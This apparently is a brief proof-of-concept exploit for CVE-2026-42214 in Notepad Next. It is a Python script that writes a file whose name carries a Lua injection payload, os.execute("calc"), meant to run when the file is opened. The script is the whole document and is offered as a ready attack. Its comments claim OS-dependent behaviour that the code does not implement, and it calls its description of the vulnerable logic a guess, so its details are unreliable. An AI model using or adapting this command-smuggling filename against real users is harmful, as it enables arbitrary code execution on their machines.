CVE-2026-42214 Notepad Next 任意代码执行漏洞

import os # Description: This script generates a file with a malicious extension. # When opened in Notepad Next < 0.14, the Lua code in the extension # is executed by the detectLanguageFromExtension() function. # The payload attempts to execute 'calc.exe' (Windows) or 'open -a Calculator' (macOS) # depending on the os library availability. payload = '"] os.execute("calc") -- ' # Construct a filename where the extension contains the Lua injection. # The extension logic in Notepad Next fails to sanitize this. # Original logic might look like: ext = ".. filename_ext .." # We break out of the string and inject commands. malicious_filename = f"innocent_file{payload}.txt" print(f"Creating malicious file: {malicious_filename}") with open(malicious_filename, "w") as f: f.write("This file contains a malicious Lua payload in its extension.") print("File created. Opening this in Notepad Next < 0.14 should trigger the exploit.")